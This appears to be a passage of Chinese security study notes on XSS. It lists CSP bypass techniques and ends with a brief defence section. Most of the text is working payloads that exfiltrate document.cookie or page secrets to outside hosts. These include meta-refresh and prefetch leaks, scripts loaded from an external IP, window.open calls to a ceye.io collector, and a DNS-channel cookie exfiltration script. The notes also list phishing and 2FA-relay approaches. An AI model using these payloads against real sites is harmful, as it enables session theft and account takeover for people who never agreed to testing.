xss 漏洞

4.2 触发HTML事件

1）default-src  'none' 绕过：使用meta标签实现跳转

<meta http-equiv="refresh" content="1;
url=https://www.mi1k7ea.com/x.php?c=[cookie]" >

2）default-src 'self' 绕过：iframe引入外部js，将src设置为同域的，从而绕过CSP

xss=f=document.createElement(%22iframe%22);
f.id=%22pwn%22;
f.src=%22./test.txt%22;
f.onload=()=%3E{
    x=document.createElement(%27script%27);
    x.src=%27//192.168.17.148:81/c.js%27;
    pwn.contentWindow.document.body.appendChild(x)};
document.body.appendChild(f);

3）script-src 'unsafe-inline' 绕过

在允许unsafe-inline的情况下，可以用window.location，或者window.open之类的方法进行跳转绕过

4）xx-src * 绕过

*没有对url源进行任何控制，如：frame-src *，通过iframe标签来内联来包含别的页面

5）xx-src self 绕过：link标签的预加载功能可以进行绕过（最新版Chrome会禁止cookie发送）

<link rel="prefetch" href="https://www.xxx.com/c.php?c=[cookie]">
<link rel="dns-prefetch" href="//[cookie].mi1k7ea.com">

6）script 'nonce-xxx' 绕过：利用浏览器补全绕过

7）包含 script-src 'unsafe-eva' 或 script-src 'strict-dynamic'，且使用了Jquery-mobile库

绕过：重用Gadgets代码来绕过CSP

<div data-role=popup id='<script>alert(1)</script>'></div>

amp库绕过：
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

8）同源策略

若页面 A 中有 CSP 限制，但页面B中没有，同时 A 和 B 同源，就可以利用 <iframe> 在 A 页面中包含B页面来绕过 CSP

<iframe src="B"></iframe>

9）js xss filter 绕过

在 Chrome下，iframe 标签支持 csp 属性，这有时候可以用来绕过一些防御，例如 http://xxx 页面有个 js 库会过滤 XSS 向量，可以使用 csp 属性来禁掉这个js库

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

10）sandbox 绕过

情形一：未开启X-Frame-Options:DENY

当CSP设置为allow-popups开启时，window.open等就可以打开新的窗口：

?xss=window.open('//xxx.ceye.io/?'+escape(document.cookie))
?xss=window.location.href='http://xxx.ceye.io/?cookie='+document.cookie

// DNS通道来传递cookie，payload：
dc=document.cookie;dcl=dc.split(";");
m=document.getElementsByTagName("HEAD")[0];
for (var i=0;i<dcl.length;i++){
    console.log(dcl[i]);
    m.innerHTML=m.innerHTML + "<link rel=\"preconnect\" href=\"//" +       escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' +     location.hostname.split(".").join("") +  ".xxx.ceye.io\">";
    console.log(m.innerHTML);}

情形二：开启了 X-Frame-Options:DENY

header 中添加了 X-Frame-Options:DENY，则不能如此直接地利用如上的 exp。许多资源只为含有 200 代码的响应提供了 X-Frame-Options 头部，而没有为包含 400、404 代码的响应提供相应的头部。通过在 400、404 这些错误页面插入 payload 也可以读取到正常返回页面的一些数据。

    * 访问不存在或不被允许访问的页面导致错误，payload：

frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
frame.id="pwn";
frame.onload=()=>{
    x=document.createElement('script'); 
    x.src='data:,alert("Pwned "+top.secret.textContent)';
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(frame);

    * 超长 URL 导致 web 服务器返回错误页面。像 NGINX 和 Apache 等  Web 服务器的默认 URL 长度通常被设置为不超过 8kB，payload：

frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);frame.id="pwn";
frame.onload=()=>{
    x=document.createElement('script');
    x.src='data:,alert("Pwned"+top.secret.textContent)';
    pwn.contentWindow.document.body.appendChild(x)};
document.body.appendChild(frame);

    * 触发 cookie 长度限制导致服务器返回错误页面。

生成超长 cookie：

for(var i=0;i<5;i++){document.cookie=i+”=”+”a”.repeat(4000)};

js 脚本写入 frame 中，用以窃取其父 frame 中的信息，payload：

for(var i=0;i<5;i++){
    document.cookie=i+"="+"a".repeat(4000)};
    f=document.createElement("iframe");
    f.id="pwn";
    f.src="/";
    f.onload=()=>{
        for(var i=0;i<5;i++){
        document.cookie=i+"="};
    x=document.createElement('script');
    x.src='data:,alert("Pwned"+top.secret.textContent)';
    pwn.contentWindow.document.body.appendChild(x)};
document.body.appendChild(f);

11）CSP nonce 绕过：meta可以控制缓存（在header没有设置的情况下）

<meta http-equiv="cache-control" content="public">

12）上传 wave 文件绕过csp

能够进行文件上传时，通常会有 MIME 文件类型的检测，但 wave 在 MIME 转换的名单之外，因此在上传成功 wave 文件时，其 MIME-TYPE 并不会与 src 冲突。在以十六进制形式打开的 wave文件的 description 内容中加入如下 payload，再进行上传：

aaaaaaaaaaaaaaa/*bbbbbbbbbbbbbbbbbbb*/='test';window.open('http://www.xxx.com/?'+document.cookie);

5、xss漏洞利用

反射：直接发送包含恶意链接的载体（邮件、其他在线媒体）给用户，钓鱼

克隆验证页面
trusted
ReelPhish绕过双因素实时校验，使用selenium、chrome触发（限制：网站限制自动化工具）

物理访问攻击
bash bunny：网络劫持，小型Linux终端
wifi pineapple nano：伪基站类似

xss8.cc：漏洞

6、xss防御

1）实体编码显示的字符

对字符串类型的输入输出进行检测，使用 HTML 实体引用对输出数据进行编码

2）对输入的数据进行过滤，将 html 标签、属性与事件进行删除

3）统一设置静态字符集

网站中将要显示动态内容的页面需设置明确的字符集，可以通过 Content-Type 标头或使用 HTML META 元素来实现，HTML5 中默认的字符编码是 UTF-8，可以防御宽字节 xss。

4）服务器端设置 HttpOnly

服务器可能会设置多个 Cookie（多个key-value对），而 HttpOnly 可以有选择性地加在任何一个Cookie 值上，之后在 http 头的 Cookie 字段会显示 HttpOnly。

<?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);
?>

5）对上传文件的MIME类型检测白名单/黑名单补充完整